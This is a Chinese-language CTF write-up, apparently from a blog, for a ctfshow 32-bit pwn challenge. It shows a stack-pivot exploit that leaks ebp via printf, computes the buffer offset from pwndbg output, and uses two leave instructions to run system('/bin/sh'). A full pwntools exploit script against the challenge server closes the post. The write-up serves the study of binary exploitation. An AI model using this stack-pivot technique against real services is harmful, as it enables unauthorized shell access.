题目:栈空间不够怎么办?
栈迁移,没见过
cs:

32 位开启 NX 保护,部分开启 RELRO
运行一下:

这是重点!后续编写 exp 要注意的细节。
IDA 分析,查看 main 中的 ctfshow 函数:

其实在连靶机进行交互时,无论你输入什么,都是招原样给你打印出来的,主要还是看 read、memset 函数,况且没开 canary 保护有站处理漏洞可以利用。
还看到了 system 函数。
跟进 hackerout 函数:

看到有 system 函数,不过里边不是 binsh,问题不大可以构造出来。
看回 ctfshow 函数的栈溢出漏洞,可以发现 s 容量是 36,但 s 到 ebp 距离有 0x28=40,加上覆盖 ebp 本身的 4 字节,仅 8 字节(44-36=8)溢出空间,无法直接布置 system(“/bin/sh”); 所需的 ROP 链(需覆盖返回地址 + 传递参数,至少 12 字节以上),那么这里就应该要想到栈迁移了。
栈迁移的本质是通过 leave 指令改变栈顶指针(esp)的位置,将原本狭小的栈空间转移到我们可控的大空间。那我们就得调用 levae 汇编指令。
leave 指令是栈帧操作的 “便捷指令”,其本质是 自动完成栈帧的清理工作;它的功能可以拆解为两条经典指令的组合,具体行为依赖于架构(x86/x64 一致)。
leave 指令等价于:
1 2
| mov esp, ebp ; 将栈指针(esp)指向基指针(ebp),回收当前栈帧的局部变量空间 pop ebp ; 从栈顶弹出之前保存的ebp值(恢复上一层栈帧的基指针)
|
看回 ctfshow 函数的栈溢出漏洞,可以发现 s 容量是 36,但 s 到 ebp 距离有 0x28=40,加上覆盖 ebp 本身的 4 字节,也就是说只有 8 字给到我们放东西,无法进行我们的 ROP 链构造,那么这里就应该要想到栈迁移了。

前置准备:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * context.log_level='debug' io = remote('pwn.challenge.ctf.show', 28274)
elf = ELF('./pwn') system = elf.sym['system'] leave = 0x08048766
...
payload = cyclic(0x24) + b'GPNU'
io.recvuntil("codename:") io.sendline(payload) io.recvuntil('')
...
io.interactive()
|
leave 汇编指令和 ebp、esp 有关联,那我们就需要去获得 ebp 的地址。

看回 ctfshow 函数以及在 Ubuntu 上 NC 连接的运行界面你就会发现第一次输入后有个 ptintf 函数会输出,也就是第一次输出,那我们把缓冲区给覆盖了,那么就会把 ebp4 字节的地址给打印出来,用后续的 u32 函数进行复制保存下来,这就是 ebp 泄露了。
泄露 ebp 地址:
1 2 3 4 5 6 7
| payload = cyclic(0x24) + 'GPNU' io.recvuntil('codename:') io.send(payload) io.recvuntil('GPNU') ebp = u32(io.recv(4).ljust(4, '\x00')) print('ebp=' + hex(ebp))
|
找栈迁移的地方,我们要迁移到攻击者可控的全局缓冲区(通常是第一次输入时构造的、用于存储 system(“/bin/sh”) 调用和参数的内存区域)。

可以看到 buf 比 s 更靠下,说明整个栈帧中,buf 空间更大(比 s 大),可以放 gadget。
那么现在需要明确一下思路:有两个输入点
利用第一个输入点来泄露 ebp 的值,动调找一下 buf 在栈上的位置,用 ebp 去表示。
第二个输入点输入 system(/bin/sh),利用两次 leave 将栈迁移到 buf 处,执行 buf 里的指令,进行 getshell。
上述已经泄露好了。
ebp 已经泄露了真实地址,现在需要表示出 buf 真实地址,那我们可以用 ebp 去表示 buf 的真实地址,那就需要固定偏移量:
一步步来
第一步,先运行这个调试代码(python3):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * context(log_level='debug', os='linux', arch='i386')
io = process('./pwn') gdb.attach(io)
elf = ELF('./pwn') system = elf.plt['system'] leave = 0x08048766
payload = b'a' * 0x24 + b'GPNU' io.recvuntil(b'codename:') io.send(payload) io.recvuntil(b'show') ebp = u32(io.recv(4).ljust(4, b'\x00')) pause()
|

第二步,右边 pwndbg 输入 n(next)命令进行下一步,让 a 垃圾字符串注入程序:

第三步,看栈帧,输入 stack 50(也够了,你输入 60、70 也行,小点也行不过看不到 ebp 就尬了…)
完整结果如下(有图有代码就怕你看不懂):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| pwndbg> stack 50 00:0000│ esp 0xffa86830 —▸ 0xffa86898 —▸ 0xffa868a8 ◂— 0x0 01:0004│ 0xffa86834 ◂— 0x30 /* '0' */ 02:0008│ 0xffa86838 —▸ 0xffa86870 ◂— 0x61616161 ('aaaa') 03:000c│ 0xffa8683c —▸ 0xf7e35e67 (read+39) ◂— cmp eax, 0xfffff000 /* '=' */ 04:0010│ 0xffa86840 —▸ 0xffa86898 —▸ 0xffa868a8 ◂— 0x0 05:0014│ 0xffa86844 —▸ 0xf7f65de0 (_dl_runtime_resolve+16) ◂— pop edx 06:0018│ 0xffa86848 —▸ 0xffa86890 ◂— 0x61616161 ('aaaa') 07:001c│ 0xffa8684c —▸ 0xf7e35e40 (read) ◂— push esi 08:0020│ 0xffa86850 —▸ 0xffa86870 ◂— 0x61616161 ('aaaa') 09:0024│ 0xffa86854 —▸ 0x804b000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804af0c (_DYNAMIC) ◂— 0x1 0a:0028│ 0xffa86858 —▸ 0xf7f27000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c 0b:002c│ 0xffa8685c —▸ 0x804870e (ctfshow+53) ◂— add esp, 0x10 0c:0030│ 0xffa86860 ◂— 0x0 0d:0034│ 0xffa86864 —▸ 0xffa86870 ◂— 0x61616161 ('aaaa') 0e:0038│ 0xffa86868 ◂— 0x30 /* '0' */ 0f:003c│ 0xffa8686c —▸ 0x80486e5 (ctfshow+12) ◂— add ebx, 0x291b 10:0040│ ecx 0xffa86870 ◂— 0x61616161 ('aaaa') ... ↓ 19:0064│ 0xffa86894 ◂— 0x554e5047 ('GPNU') 1a:0068│ ebp 0xffa86898 —▸ 0xffa868a8 ◂— 0x0 1b:006c│ 0xffa8689c —▸ 0x80487b5 (main+77) ◂— mov eax, 0 1c:0070│ 0xffa868a0 —▸ 0xffa868c0 ◂— 0x1 1d:0074│ 0xffa868a4 ◂— 0x0 ... ↓ 1f:007c│ 0xffa868ac —▸ 0xf7d67fa1 (__libc_start_main+241) ◂— add esp, 0x10 20:0080│ 0xffa868b0 —▸ 0xf7f27000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c ... ↓ 22:0088│ 0xffa868b8 ◂— 0x0 23:008c│ 0xffa868bc —▸ 0xf7d67fa1 (__libc_start_main+241) ◂— add esp, 0x10 24:0090│ 0xffa868c0 ◂— 0x1 25:0094│ 0xffa868c4 —▸ 0xffa86954 —▸ 0xffa8721f ◂— './pwn' 26:0098│ 0xffa868c8 —▸ 0xffa8695c —▸ 0xffa87225 ◂— 'LC_NUMERIC=zh_CN.UTF-8' 27:009c│ 0xffa868cc —▸ 0xffa868e4 ◂— 0x0 28:00a0│ 0xffa868d0 ◂— 0x1 29:00a4│ 0xffa868d4 ◂— 0x0 2a:00a8│ 0xffa868d8 —▸ 0xf7f27000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c 2b:00ac│ 0xffa868dc —▸ 0xf7f6071a (call_init.part+26) ◂— add edi, 0x178e6 2c:00b0│ 0xffa868e0 —▸ 0xf7f78000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x26f34 2d:00b4│ 0xffa868e4 ◂— 0x0 2e:00b8│ 0xffa868e8 —▸ 0xf7f27000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c 2f:00bc│ 0xffa868ec ◂— 0x0 ... ↓ 31:00c4│ 0xffa868f4 ◂— 0xfa28923b
|

可以看到 “GPNU”、“aaaa” 字符串都被注入到程序里啦,能看到 esp 和 ebp 距离,算一算就是 0x38(0xffa868a8-0xffa86870)

这里的 0x38 是 ebp 到 “目标可控缓冲区” 的固定偏移,我们可以用 ebp-0x38 来表示 buf 的地址。
在第一次输入完后,进入到第二次输入,我们要往 buf 中写入 system (“/bin/sh”), 同时还要将栈劫持返回 buf 地址,然后就执行了我们想要的 system(“/bin/sh”);
构造 payload:
1 2
| payload = (p32(system) + p32(0) + p32(buf + 12) + '/bin/sh\x00').ljust(0x28, 'a') + p32(buf - 4) + p32(leave)
|
程序有给 system 函数,直接调用。
我们在构造 Payload 时,会将 system 调用相关的代码提前布置到 buf 中,而 buf 作为栈迁移的目标缓冲区,其内部字节布局是固定的(32 位系统下,每个指针 / 地址占 4 字节)
Payload 整体分为 “攻击代码段” 和 “栈迁移控制段” 两部分:
1、攻击代码段:
1
| (p32(system) + 'aaaa' + p32(buf + 12) + '/bin/sh\x00').ljust(0x28,'a')
|
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * context(log_level='debug', os = 'linux', arch = 'i386')
io = remote('pwn.challenge.ctf.show', 28229) elf = ELF('./pwn') system = elf.plt['system'] leave = 0x08048766 payload = 'a' * 0x24 + 'GPNU' io.recvuntil('codename:') io.send(payload) io.recvuntil('GPNU') ebp = u32(io.recv(4).ljust(4,'\x00'))
print('ebp='+hex(ebp)) buf = ebp - 0x38 payload = (p32(system) + 'aaaa' + p32(buf + 12) + '/bin/sh\x00').ljust(0x28,'a') + p32(buf-4) + p32(leave) io.send(payload)
io.interactive()
|